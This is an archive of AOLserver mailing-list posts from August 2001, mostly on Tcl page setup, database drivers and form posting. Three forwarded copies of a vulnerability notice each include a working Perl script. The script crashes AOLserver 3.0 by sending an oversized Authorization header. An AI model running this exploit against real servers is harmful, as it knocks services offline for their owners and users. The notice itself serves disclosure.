Re: [AOLSERVER] foo.tcl doesn't seem to work

[Tomasz Kosiak]

On Wed, 22 Aug 2001, Sanjivendra Nath wrote:

> I've installed AOLServer V3.4.
>
> I think I've setup ora8.so with it.
>
> Now, I'm trying to test with table-test.tcl that comes standard with the
> oracle driver.
>
> However, the page shows up as just html, including "ns_write" strings.  It
> seems like it doesn't do any tcl execution.

You have to enable TCL pages. Change ns_param enabletclpages from false to
true:

ns_section "ns/server/${servername}"
param   enabletclpages  true ;# Parse *.tcl files in pageroot.


>
> So, I put the following in the config file:
>
> ns_section "ns/server/server1/tcl"
> ns_param Debug On
> ns_param Library /ria/usr/local/aolserver/modules/tcl
> # I did try /ria/usr/local/aolserver/servers/server1/modules/tcl with no
> luck

TCL libraries are well explaind in documentation. See:
http://aolserver.com/docs/tcldev/tlib-ch.htm#2039

> What am I missing?  Where can I find step-by-step instructions on how to do
> this (the standard doc. seems a little terse for a beginner, even on other
> issues that I'm struggling with like configuration)?

About configuration you can read at
http://aolserver.com/docs/admin/con-ch.htm#103550

You can learn a lot from examples at
http://aolserver.com/docs/config.adp

But definitive source of information is the source code. AOLserver code is
really very clean and easy to understand. You can grep the sources in
directory aolserver-3.4/nsd like this:

[tkosiak@mule nsd]$ grep Ns_Config *
adp.c:path = Ns_ConfigPath(server, NULL, "adp", NULL);
adp.c:set = Ns_ConfigGetSection(path);
...

--tkosiak

[AOLSERVER] Configure tcl for AolServer 3.4

[rana deepti]

I've successfully installed AOLServer on WindowsNT
according to Mark's Instructions.
but now I want to run a tcl file.
and I'm not able to do so
I've no idea about tcl.
how to configure it
need helpregards...
Deppti


__
Do You Yahoo!?
Make international calls for as low as $.04/minute with Yahoo! Messenger
http://phonecard.yahoo.com/

Re: [AOLSERVER] installing AOL Server on WINDOWS!

[Dossy]

On 2001.08.22, Jim Wilcoxson <[EMAIL PROTECTED]> wrote:
> THe sample-config.tcl in 3.4x is not totally correct either.  I have already
> found a couple of parameters in the wrong section [...]

That could be my fault, but I thought I used the sample-config.tcl
straight out of the normal 3.4 source tree -- so, it's wrong for
everyone, not just the Win32 folks.

Or, like I said, it could be my fault, and I packaged the 3.4 Win32
installer with the wrong sample-config.tcl.

Could you point out specific parameters that are in the wrong
section?

-- Dossy

--
Dossy Shiobara   mail: [EMAIL PROTECTED]
Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] installing AOL Server on WINDOWS!

[Dossy]

On 2001.08.22, Mark Hubbard <[EMAIL PROTECTED]> wrote:
> Do you have a [nsfreetds] binary that is compatible with Red Hat Linux
> 7.0 or 7.1?

Not yet.  Once there's a stable release, I'll probably also
release binaries for the platforms that I have access to.

> If not be prepared for some hand-holding on the C make.

No problem at all.  Building the nsfreetds driver is really
easy.  It's builing freetds itself that might require some
hand-holding but if you're running on a fairly vanilla RedHat
install, even that should go smoothly.

> Also do you have an URL for a nsvhr setup doc?  I don't know where to begin
> on that.  But it's a make-or-break issue for us, and a lot of other
> companies I'm sure.  Any experience I get from doing it on Windows will be
> contrib'd back to the group.

Off the top of my head, I don't know of any good nsvhr HOWTO's.  I'd
start by looking at Jerry Asher's site at http://www.theashergroup.com/
since I know Jerry's done some work with nsvhr.

I could put together a very brief sketch as to how I've personally
got nsvhr setup and working (and have since 3.0 was released) which
may help get people started.  Let me try and find the time ... haha.

-- Dossy

--
Dossy Shiobara   mail: [EMAIL PROTECTED]
Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] Error Handling

[Dossy]

On 2001.08.22, Mark Hubbard <[EMAIL PROTECTED]> wrote:
> Yes!  Thank you!  That elusive bit of info will clear a major roadblock to
> adopting AOLS.  I've been puzzling over why the nsvhr and those other
> modules are needed, if that can be done instead.  I guess the C modules
> would be good for a REALLY high traffic site.  But that wouldn't be us.

If you want a different nsd.tcl config for each virtual site,
then you need to run nsvhr with multiple nsd processes.

If you don't mind all of your sites being served out of the
same nsd process (security issues come to mind, etc.) then
you don't need nsvhr.

-- Dossy

--
Dossy Shiobara   mail: [EMAIL PROTECTED]
Panoptic Computer Network web: http://www.panoptic.com/

Re: [AOLSERVER] Configure tcl for AolServer 3.4

[Mark Hubbard]

I have the same trouble actually.  I made param enabletclpages true and
restarted the server, but it didn't seem to make any difference.  It serves
out .tcl files as-is, and then my tcl plug-in in my IE tries to run them,
which of course fails.
--
Mark Hubbard: [EMAIL PROTECTED]
Microsoft Certified Professional
"Knowledge is Power."

-Original Message-
From: rana deepti <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, August 23, 2001 6:39 AM
Subject: Configure tcl for AolServer 3.4


>I've successfully installed AOLServer on WindowsNT
>according to Mark's Instructions.
>but now I want to run a tcl file.
>and I'm not able to do so
>I've no idea about tcl.
>how to configure it
>need helpregards...
>Deppti
>
>
>__
>Do You Yahoo!?
>Make international calls for as low as $.04/minute with Yahoo! Messenger
>http://phonecard.yahoo.com/

Re: [AOLSERVER] installing AOL Server on WINDOWS!

[Mark Hubbard]

No sweat.  Don't worry about the nsvhr - Jerry's docs are Very good.  But I
would like to try the compile of FreeTDS and nsfreetds soon.  I'll get a
clean Red Hat and proceed in the next few days if you don't mind me bugging
you when I run into trouble.  I'll just follow what docs I find online as to
using the makefiles.  I wil have to begin with the AOLserver compile and
installation, since I don't already have one on Linux.
--
Mark Hubbard: [EMAIL PROTECTED]
Microsoft Certified Professional
"Knowledge is Power."

-Original Message-
From: Dossy <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, August 23, 2001 7:53 AM
Subject: Re: installing AOL Server on WINDOWS!


>On 2001.08.22, Mark Hubbard <[EMAIL PROTECTED]> wrote:
>> Do you have a [nsfreetds] binary that is compatible with Red Hat Linux
>> 7.0 or 7.1?
>
>Not yet.  Once there's a stable release, I'll probably also
>release binaries for the platforms that I have access to.
>
>> If not be prepared for some hand-holding on the C make.
>
>No problem at all.  Building the nsfreetds driver is really
>easy.  It's builing freetds itself that might require some
>hand-holding but if you're running on a fairly vanilla RedHat
>install, even that should go smoothly.
>
>> Also do you have an URL for a nsvhr setup doc?  I don't know where to
begin
>> on that.  But it's a make-or-break issue for us, and a lot of other
>> companies I'm sure.  Any experience I get from doing it on Windows will
be
>> contrib'd back to the group.
>
>Off the top of my head, I don't know of any good nsvhr HOWTO's.  I'd
>start by looking at Jerry Asher's site at http://www.theashergroup.com/
>since I know Jerry's done some work with nsvhr.
>
>I could put together a very brief sketch as to how I've personally
>got nsvhr setup and working (and have since 3.0 was released) which
>may help get people started.  Let me try and find the time ... haha.
>
>-- Dossy
>
>--
>Dossy Shiobara   mail: [EMAIL PROTECTED]
>Panoptic Computer Network web: http://www.panoptic.com/

[AOLSERVER] Fw: AOLserver 3.0 vulnerability

[Daniel P. Stasinski]

- Original Message -
From: "Nate Haggard" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, August 22, 2001 3:51 PM
Subject: AOLserver 3.0 vulnerability


Aolserver 3.0 will crash when it is given a long authorization
string.  It is also possible this vulnerability will allow a
hacker to execute arbitrary code through a buffer overflow. I
have not verified a buffer overflow exists.  Aolserver 3.4 and
3.3.1 are not vulnerable to this attack.

Here is a sample exploit:
--
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
 PeerAddr  => $host,
 PeerPort  => "http(80)",
 );
unless ($remote) { die "cannot connect to http daemon on $host" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic
".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;



Nate Haggard
SecurityLogics.com

Re: [AOLSERVER] installing AOL Server on WINDOWS!

[Jim Wilcoxson]

Oops.  This is partially my own fault - I based my config on a 3.2
sample-config.tcl, and things like maxthreads apparently moved from
the ns/threads section to the server/ section.  I knew
that one was wrong so figured others might be too.

Jim



>
> On 2001.08.22, Jim Wilcoxson <[EMAIL PROTECTED]> wrote:
> > THe sample-config.tcl in 3.4x is not totally correct either.  I have already
> > found a couple of parameters in the wrong section [...]
>
> That could be my fault, but I thought I used the sample-config.tcl
> straight out of the normal 3.4 source tree -- so, it's wrong for
> everyone, not just the Win32 folks.
>
> Or, like I said, it could be my fault, and I packaged the 3.4 Win32
> installer with the wrong sample-config.tcl.
>
> Could you point out specific parameters that are in the wrong
> section?
>
> -- Dossy
>
> --
> Dossy Shiobara   mail: [EMAIL PROTECTED]
> Panoptic Computer Network web: http://www.panoptic.com/
>

[AOLSERVER] fwd: AOLserver 3.0 vulnerability

[Kenneth Hunt]

FYI only: I have not verified this.

Note 3.4 and 3.3.1 are NOT vulnerable.

klsh
- Forwarded by Kenneth Hunt/PITTS/POLYMERS/US/BAYER on 08/23/2001
09:08 AM -


Nate Haggard <[EMAIL PROTECTED]>
08/22/2001 06:51 PM


To: [EMAIL PROTECTED]
cc:
Subject:AOLserver 3.0 vulnerability


Aolserver 3.0 will crash when it is given a long authorization string.  It
is also possible this vulnerability will allow a hacker to execute
arbitrary code through a buffer overflow. I have not verified a buffer
overflow exists.  Aolserver 3.4 and 3.3.1 are not vulnerable to this
attack.

Here is a sample exploit:
--
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
 PeerAddr  => $host,
 PeerPort  => "http(80)",
 );
unless ($remote) { die "cannot connect to http daemon on $host" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;



Nate Haggard
SecurityLogics.com

[AOLSERVER] fwd: AOLserver 3.0 vulnerability

[Kenneth Hunt]

FYI only: I have not verified this.

Note 3.4 and 3.3.1 are NOT vulnerable.

klsh
- Forwarded by Kenneth Hunt/PITTS/POLYMERS/US/BAYER on 08/23/2001 09:08 AM
-

Nate Haggard
 cc:
   Subject: AOLserver 3.0 vulnerability
08/22/2001
06:51 PM






Aolserver 3.0 will crash when it is given a long authorization string.  It
is also possible this vulnerability will allow a hacker to execute
arbitrary code through a buffer overflow. I have not verified a buffer
overflow exists.  Aolserver 3.4 and 3.3.1 are not vulnerable to this attack.

Here is a sample exploit:
--
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
 PeerAddr  => $host,
 PeerPort  => "http(80)",
 );
unless ($remote) { die "cannot connect to http daemon on $host" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;



Nate Haggard
SecurityLogics.com

Re: [AOLSERVER] installing AOL Server on WINDOWS!

[Fred Yankowski]

On Wed, Aug 22, 2001 at 03:12:52PM -0700, Jerry Asher wrote:
> I haven't used them, but postgres comes with some tcl/tk based tools to
> help you do that.  I can't imagine any of these tools are as easy or
> powerful as Enterprise Manager though.   Enterprise Manager really is slick.

The 'pgAdmin' tool is a useful step in that direction, and the (beta)
'pgAdmin-II' is an even better match to the Enterprise Manager
features.



--
Fred Yankowski   [EMAIL PROTECTED]  tel: +1.630.879.1312
Principal Consultant www.OntoSys.com   fax: +1.630.879.1370
OntoSys, Inc 38W242 Deerpath Rd, Batavia, IL 60510, USA

[AOLSERVER] No-rows in PostgreSQL selection

[Keith paskett]

Using AOLserver 3.3.1 with the postgres driver from openacs.org

the following code gives me the error if there are no rows:

exception NSDB, "Query was not a statement returning rows.")
 while executing...

--
set selection [ns_db select $db $sql]

set list_to_return [list]
while {[ns_db getrow $db $selection]} {
  lappend list_to_return [ns_set value $selection 0]
}
--

It works fine if there are rows returned.
I would have expected the 'ns_db select' to be ok but get 0 back from the
first call to 'ns_db  getrow'

I would like to return an empty list if there are now rows matching the
query.

Any suggestion/code snippets? Surely the OpenACS team has dealt with this.


--
Keith Paskett[EMAIL PROTECTED]
Space Dynamics LaboratoryPGP or GPG encrypted mail preferred
1695 North Research Parkway  435-797-4195
Logan, Utah 84341

[AOLSERVER] Form Posting

[Patrick Spence]

I am looking for some easy way (i.e. a tcl routine not a C routine or
module) to post form data into a URL without passing it on the URL line
itself...  instead of redirecting to say
http://www.foo.com/bar?msg1=hello&msg2=bye  I would like to do something
like this:

add_form_value storagevariable "msg1" "hello"
add_form_value storagevariable "msg2" "bye"

post_form "http://www.foo.com/bar"; $storagevariable

and have it redirect to the url and post the data the same as if a user had
filled out a form and hit "submit" instead of the URL based method..

Does anyone know how to do this?  Any help would be appreciated


--
 Patrick Spence, Network Administrator
 Information System Dept.
 2401 South 24th Street, Phoenix, AZ  85034
 [EMAIL PROTECTED] - http://www.vitamist.com

Re: [AOLSERVER] Configure tcl for AolServer 3.4

[Brett Schwarz]

I have seem some of my tcl files not returning correctly, when I don't
send back proper HTML headers... are your tcl files sending back HTML
headers?


Mark Hubbard wrote:
>
> I have the same trouble actually.  I made param enabletclpages true and
> restarted the server, but it didn't seem to make any difference.  It serves
> out .tcl files as-is, and then my tcl plug-in in my IE tries to run them,
> which of course fails.
> --
> Mark Hubbard: [EMAIL PROTECTED]
> Microsoft Certified Professional
> "Knowledge is Power."
>
> -Original Message-
> From: rana deepti <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
> Date: Thursday, August 23, 2001 6:39 AM
> Subject: Configure tcl for AolServer 3.4
>
> >I've successfully installed AOLServer on WindowsNT
> >according to Mark's Instructions.
> >but now I want to run a tcl file.
> >and I'm not able to do so
> >I've no idea about tcl.
> >how to configure it
> >need helpregards...
> >Deppti
> >
> >
> >__
> >Do You Yahoo!?
> >Make international calls for as low as $.04/minute with Yahoo! Messenger
> >http://phonecard.yahoo.com/

_
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

Re: [AOLSERVER] Form Posting

[Scott Goodwin]

Funny you should mention that. I'm adding the ns_httpspost command to
https.tcl this weekend. I'll also be adding the ns_httppost to http.tcl.

/s.


> I am looking for some easy way (i.e. a tcl routine not a C routine or
> module) to post form data into a URL without passing it on the URL line
> itself...  instead of redirecting to say
> http://www.foo.com/bar?msg1=hello&msg2=bye  I would like to do something
> like this:
>
> add_form_value storagevariable "msg1" "hello"
> add_form_value storagevariable "msg2" "bye"
>
> post_form "http://www.foo.com/bar"; $storagevariable
>
> and have it redirect to the url and post the data the same as if a user
had
> filled out a form and hit "submit" instead of the URL based method..
>
> Does anyone know how to do this?  Any help would be appreciated
>
>
> --
>  Patrick Spence, Network Administrator
>  Information System Dept.
>  2401 South 24th Street, Phoenix, AZ  85034
>  [EMAIL PROTECTED] - http://www.vitamist.com
>
>
>

Re: [AOLSERVER] Configure tcl for AolServer 3.4

[Mark Hubbard]

Oh, I'm sorry.  Are the scripts supposed to send out their own HTTP headers
in the style of CGI output?  I assumed AOLserver would be sending out
default headers as it does with ADPs, and I would just need some content.
Assumption is the mother of all screw-ups I guess.

AIM chat is in 2 hours right?  I have 12:47 Central Time.
--
Mark Hubbard: [EMAIL PROTECTED]
Microsoft Certified Professional
"Knowledge is Power."


-Original Message-
From: Brett Schwarz <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, August 23, 2001 12:06 PM
Subject: Re: Configure tcl for AolServer 3.4


>I have seem some of my tcl files not returning correctly, when I don't
>send back proper HTML headers... are your tcl files sending back HTML
>headers?
>
>
>Mark Hubbard wrote:
>>
>> I have the same trouble actually.  I made param enabletclpages true and
>> restarted the server, but it didn't seem to make any difference.  It
serves
>> out .tcl files as-is, and then my tcl plug-in in my IE tries to run them,
>> which of course fails.
>> --
>> Mark Hubbard: [EMAIL PROTECTED]
>> Microsoft Certified Professional
>> "Knowledge is Power."
>>
>> -Original Message-
>> From: rana deepti <[EMAIL PROTECTED]>
>> To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
>> Date: Thursday, August 23, 2001 6:39 AM
>> Subject: Configure tcl for AolServer 3.4
>>
>> >I've successfully installed AOLServer on WindowsNT
>> >according to Mark's Instructions.
>> >but now I want to run a tcl file.
>> >and I'm not able to do so
>> >I've no idea about tcl.
>> >how to configure it
>> >need helpregards...
>> >Deppti
>> >
>> >
>> >__
>> >Do You Yahoo!?
>> >Make international calls for as low as $.04/minute with Yahoo! Messenger
>> >http://phonecard.yahoo.com/
>
>_
>Do You Yahoo!?
>Get your free @yahoo.com address at http://mail.yahoo.com

Re: [AOLSERVER] Form Posting

[Jerry Asher]

Where do you want the output of the POST request to go?  A) Back to your
tcl script or B) direct to the user's browser?

Where do you want to make this POST request to?  C) To any arbitrary
webserver or D) to your webserver only?

A) && C) => use util_httppost from the OpenACS toolkit
B) && C) => screwed (or use util_httppost and then send that output back
yourself)
D) => use Rob Mayoff's internal redirection module (www.dqd.com)

Jerry



At 10:07 AM 8/23/01, you wrote:
>I am looking for some easy way (i.e. a tcl routine not a C routine or
>module) to post form data into a URL without passing it on the URL line
>itself...  instead of redirecting to say
>http://www.foo.com/bar?msg1=hello&msg2=bye  I would like to do something
>like this:
>
>add_form_value storagevariable "msg1" "hello"
>add_form_value storagevariable "msg2" "bye"
>
>post_form "http://www.foo.com/bar"; $storagevariable
>
>and have it redirect to the url and post the data the same as if a user had
>filled out a form and hit "submit" instead of the URL based method..
>
>Does anyone know how to do this?  Any help would be appreciated
>
>
>--
>  Patrick Spence, Network Administrator
>  Information System Dept.
>  2401 South 24th Street, Phoenix, AZ  85034
>  [EMAIL PROTECTED] - http://www.vitamist.com

=
Jerry Asher   [EMAIL PROTECTED]
1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
Berkeley, CA 94709Fax: (877) 311-8688

Re: [AOLSERVER] Configure tcl for AolServer 3.4

[Jerry Asher]

At 10:48 AM 8/23/01, you wrote:
>Oh, I'm sorry.  Are the scripts supposed to send out their own HTTP headers
>in the style of CGI output?  I assumed AOLserver would be sending out
>default headers as it does with ADPs, and I would just need some content.
>Assumption is the mother of all screw-ups I guess.

You're right. AOLserver will send out the headers for you.  (When you need
to, there are API functions that will enable you to modify/add to those
headers, but don't worry about it for now.)

Jerry

=
Jerry Asher   [EMAIL PROTECTED]
1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
Berkeley, CA 94709Fax: (877) 311-8688

Re: [AOLSERVER] Form Posting

[Patrick Spence]

I want to be able to redirect the user to another url on my site, and send
information to the tcl script residing at that url (register_proc) using
form data.. without the URL including the content of what I am sending..  so
I can then operate on that sent data without it being painfully clear what
that data is to the average joe user...  I don't want to use a database and
store temporary data and refer back to that... it would make it more complex
and add to the database usage in areas that don't need more of it...

I'll grab the latest OpenACS stuff and take a look at that as well as Scotts
stuff when he releases his next round :)

Thank you.. :)


--
 Patrick Spence, Network Administrator
 Information System Dept.
 2401 South 24th Street, Phoenix, AZ  85034
 [EMAIL PROTECTED] - http://www.vitamist.com

- Original Message -
From: "Jerry Asher" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 23, 2001 10:52 AM
Subject: Re: [AOLSERVER] Form Posting


> Where do you want the output of the POST request to go?  A) Back to your
> tcl script or B) direct to the user's browser?
>
> Where do you want to make this POST request to?  C) To any arbitrary
> webserver or D) to your webserver only?
>
> A) && C) => use util_httppost from the OpenACS toolkit
> B) && C) => screwed (or use util_httppost and then send that output back
> yourself)
> D) => use Rob Mayoff's internal redirection module (www.dqd.com)
>
> Jerry
>
>
>
> At 10:07 AM 8/23/01, you wrote:
> >I am looking for some easy way (i.e. a tcl routine not a C routine or
> >module) to post form data into a URL without passing it on the URL line
> >itself...  instead of redirecting to say
> >http://www.foo.com/bar?msg1=hello&msg2=bye  I would like to do something
> >like this:
> >
> >add_form_value storagevariable "msg1" "hello"
> >add_form_value storagevariable "msg2" "bye"
> >
> >post_form "http://www.foo.com/bar"; $storagevariable
> >
> >and have it redirect to the url and post the data the same as if a user
had
> >filled out a form and hit "submit" instead of the URL based method..
> >
> >Does anyone know how to do this?  Any help would be appreciated
> >
> >
> >--
> >  Patrick Spence, Network Administrator
> >  Information System Dept.
> >  2401 South 24th Street, Phoenix, AZ  85034
> >  [EMAIL PROTECTED] - http://www.vitamist.com
>
> =
> Jerry Asher   [EMAIL PROTECTED]
> 1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
> Berkeley, CA 94709Fax: (877) 311-8688

Re: [AOLSERVER] Form Posting

[Mark Hubbard]

You could also try setting a cookie containing the information before (or
maybe during) the redirect.  That way you wouldn't need a form submission.
Assuming the client accepts cookies.
--
Mark Hubbard: [EMAIL PROTECTED]
Microsoft Certified Professional
"Knowledge is Power."

-Original Message-
From: Patrick Spence <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Date: Thursday, August 23, 2001 1:01 PM
Subject: Re: Form Posting


>I want to be able to redirect the user to another url on my site, and send
>information to the tcl script residing at that url (register_proc) using
>form data.. without the URL including the content of what I am sending..
so
>I can then operate on that sent data without it being painfully clear what
>that data is to the average joe user...  I don't want to use a database and
>store temporary data and refer back to that... it would make it more
complex
>and add to the database usage in areas that don't need more of it...
>
>I'll grab the latest OpenACS stuff and take a look at that as well as
Scotts
>stuff when he releases his next round :)
>
>Thank you.. :)
>
>
>--
> Patrick Spence, Network Administrator
> Information System Dept.
> 2401 South 24th Street, Phoenix, AZ  85034
> [EMAIL PROTECTED] - http://www.vitamist.com
>
>- Original Message -
>From: "Jerry Asher" <[EMAIL PROTECTED]>
>To: <[EMAIL PROTECTED]>
>Sent: Thursday, August 23, 2001 10:52 AM
>Subject: Re: [AOLSERVER] Form Posting
>
>
>> Where do you want the output of the POST request to go?  A) Back to your
>> tcl script or B) direct to the user's browser?
>>
>> Where do you want to make this POST request to?  C) To any arbitrary
>> webserver or D) to your webserver only?
>>
>> A) && C) => use util_httppost from the OpenACS toolkit
>> B) && C) => screwed (or use util_httppost and then send that output back
>> yourself)
>> D) => use Rob Mayoff's internal redirection module (www.dqd.com)
>>
>> Jerry
>>
>>
>>
>> At 10:07 AM 8/23/01, you wrote:
>> >I am looking for some easy way (i.e. a tcl routine not a C routine or
>> >module) to post form data into a URL without passing it on the URL line
>> >itself...  instead of redirecting to say
>> >http://www.foo.com/bar?msg1=hello&msg2=bye  I would like to do something
>> >like this:
>> >
>> >add_form_value storagevariable "msg1" "hello"
>> >add_form_value storagevariable "msg2" "bye"
>> >
>> >post_form "http://www.foo.com/bar"; $storagevariable
>> >
>> >and have it redirect to the url and post the data the same as if a user
>had
>> >filled out a form and hit "submit" instead of the URL based method..
>> >
>> >Does anyone know how to do this?  Any help would be appreciated
>> >
>> >
>> >--
>> >  Patrick Spence, Network Administrator
>> >  Information System Dept.
>> >  2401 South 24th Street, Phoenix, AZ  85034
>> >  [EMAIL PROTECTED] - http://www.vitamist.com
>>
>> =
>> Jerry Asher   [EMAIL PROTECTED]
>> 1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
>> Berkeley, CA 94709Fax: (877) 311-8688

Re: [AOLSERVER] Form Posting

[Jerry Asher]

At 11:02 AM 8/23/01, you wrote:
>I want to be able to redirect the user to another url on my site, and send
>information to the tcl script residing at that url (register_proc) using
>form data.. without the URL including the content of what I am sending..  so
>I can then operate on that sent data without it being painfully clear what
>that data is to the average joe user...  I don't want to use a database and
>store temporary data and refer back to that... it would make it more complex
>and add to the database usage in areas that don't need more of it...

Try Rob's internal redirect utility, which as he says provides a tcl
wrapper for ns_connredirect.  The effect is basically a "goto" or
"overlay".  One moment you are running one script, then you internally
redirect, and you start running your other script.  What's most fun is that
all your tcl variables are still there with the same values.  So you need
not post at all.

I've used this for exactly the purpose you've given.

rob's utilities: http://www.dqd.com/~mayoff/aolserver/#dqd_utils
ns_connredirect doc: http://www.aolserver.com/docs/cdev/c-ch90.htm#576649


Jerry
=
Jerry Asher   [EMAIL PROTECTED]
1678 Shattuck Avenue Suite 161Tel: (510) 549-2980
Berkeley, CA 94709Fax: (877) 311-8688

[AOLSERVER] Reminder: AOLserver weekly chat today

[mayoff]

The AOLserver weekly chat takes place today and every Thursday.  Common
topics include AOLserver, Tcl, SQL, ACS, and general web-related
questions.

The place: AIM chatroom "AOLserver" on exchange 4
The time: 20:00 UTC

During the summer, that time is
4 PM US/Eastern
3 PM US/Central
2 PM US/Mountain
1 PM US/Pacific

During the winter, that time is
3 PM US/Eastern
2 PM US/Central
1 PM US/Mountain
Noon US/Pacific

The URL for the chat room:

http://www.aol.com/community/aimcheck.adp/url=AOLserver&Exchange=4

Note: you do NOT need to be an AOL subscriber to access the chat room.

If you need more help getting on AIM or getting into the chat room,
please see .

--
end of message

[AOLSERVER] Linux nsfreetds to MS SQL (long post)

[Mark Hubbard]

Dossy,

I have a Linux box running nsfreetds!  Both it and freetds seemed to build
correctly on the first try, and the server loads the module.  Amazing it
worked for me.  No problems with the C build, though I did use a binary of
AOLserver for Linux 2.2 from aolserver.com, for expediency.  I set up the
interfaces file, the SYBASE and LIBPATH environment vars, and altered the
sample-config.tcl according to admin guide at aolserver.com.  See listings
below.

I placed nsfreetds.adp in the pageroot, and altered it so my test SQL server
was in the dropdown.  It gives me this when I submit a SELECT statement
against PUBS db:
===
(If this is the only thing you see on the page, most likely there was an
error thrown in the server.log.)
Error connecting to datasource.
===
There is no message at all in the server log when the page is hit.  I have
the log on a console ( -f ).

My server is an MS SQL Server 7 so I use tds7.0.

I was forced to make a couple of guesses/assumptions when configuring it,
where the docs were sparse.  One was "what goes in the ns_param Datasource
for the nsfreetds driver" ?  I guessed the server name from the interfaces
file.  Another was "what to pass to ns_db gethandle" ?

My mistake is probably something obvious to a more experienced eye...

Here's my interfaces file, followed by my sample-config.tcl, then my
nsfreetds.adp:
===
markhpc
 query tcp tds7.0 192.168.0.173 1433
===

# $Header: /cvsroot/aolserver/aolserver/nsd/sample-config.tcl,v 1.2
2000/12/13 21:50:27 kriston Exp $

#
# sample-config.tcl --  The AOLserver Startup Script
#
#  This is a Tcl script that is sourced when AOLserver starts up.
#  A detailed reference is in "doc/config.txt".
#

ns_log notice "config.tcl: starting to read config file..."


#
# Set some Tcl variables that are commonly used throughout this file.
#

set httpport   80
set httpsport  443

# The hostname and address should be set to actual values.
set hostname   aolvm
set address192.168.0.7

set servername "server1"
set serverdesc "Server Name"

set homedir[file dirname [ns_info config]]
set bindir [file dirname [ns_info nsd]]

set pageroot   ${homedir}/servers/${servername}/pages
set directoryfile  index.adp,index.html,index.htm

set ext [info sharedlibextension]

# nsssl: Only loads if keyfile.pem and certfile.pem exist.
#set sslmodule  nsssl${ext}  ;# Domestic 128-bit/1024-bit SSL.
set sslmodule  nsssle${ext} ;# Exportable 40-bit/512-bit SSL.
set sslkeyfile   ${homedir}/servers/${servername}/modules/nsssl/keyfile.pem
set sslcertfile  ${homedir}/servers/${servername}/modules/nsssl/certfile.pem

# nscp: Uncomment the sample password and log in with "nsadmin", password
"x",
#   type "ns_crypt newpassword salt" and put the encrypted string below.
set nscp_port 
set nscp_addr 127.0.0.1
set nscp_user ""
#set nscp_user "nsadmin:t2GqvvaiIUbF2:" ;# sample user="nsadmin", pw="x".


#
# Global server parameters
#
ns_section "ns/parameters"
ns_param   home$homedir
ns_param   debug   false


#
# Thread library (nsthread) parameters
#
ns_section "ns/threads"
ns_param   mutexmeter  true  ;# measure lock contention
#ns_param   stacksize [expr 128*1024] ;# Per-thread stack size.

#
# MIME types.
#
#  Note: AOLserver already has an exhaustive list of MIME types, but in
#  case something is missing you can add it here.
#
ns_section "ns/mimetypes"
ns_param   default "*/*" ;# MIME type for unknown extension.
ns_param   noextension "*/*" ;# MIME type for missing extension.
#ns_param   ".xls"  "application/vnd.ms-excel"



#
# Server-level configuration
#
#  There is only one server in AOLserver, but this is helpful when multiple
#  servers share the same configuration file.  This file assumes that only
#  one server is in use so it is set at the top in the "server" Tcl
variable.
#  Other host-specific values are set up above as Tcl variables, too.
#

ns_section "ns/servers"
ns_param   $servername $serverdesc


#
# Server parameters
#
ns_section "ns/server/${servername}"
ns_param   directoryfile   $directoryfile
ns_param   pageroot$pageroot
ns_param   globalstats true  ;# Enable built-in statistics.
ns_param   urlstatstrue  ;# Enable URL statistics.
ns_param   maxurlstats 1000  ;# Max number of URL's to do stats on.
ns_param   enabletclpages  true ;# Parse *.tcl files in pageroot.


#
# Scaling and Tuning Options
#
#  Note: These values aren't necessarily the defaults.
#
#ns_param   connsperthread  0 ;# Normally there's one conn per
thread
#ns_param   flushcontentfalse ;# Flush all data before returning
#ns_param   maxconnections  100   ;# Max conne

Re: [AOLSERVER] Form Posting

[Patrick Spence]

>From what I understand cookies won't set if you do a redirect... this is
part of what I want the capacity for..

--
 Patrick Spence, Network Administrator
 Information System Dept.
 2401 South 24th Street, Phoenix, AZ  85034
 [EMAIL PROTECTED] - http://www.vitamist.com


- Original Message -
From: "Mark Hubbard" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 23, 2001 11:17 AM
Subject: Re: [AOLSERVER] Form Posting


> You could also try setting a cookie containing the information before (or
> maybe during) the redirect.  That way you wouldn't need a form submission.
> Assuming the client accepts cookies.
> --
> Mark Hubbard: [EMAIL PROTECTED]
> Microsoft Certified Professional
> "Knowledge is Power."
>
> -Original Message-
> From: Patrick Spence <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
> Date: Thursday, August 23, 2001 1:01 PM
> Subject: Re: Form Posting
>
>
> >I want to be able to redirect the user to another url on my site, and
send
> >information to the tcl script residing at that url (register_proc) using
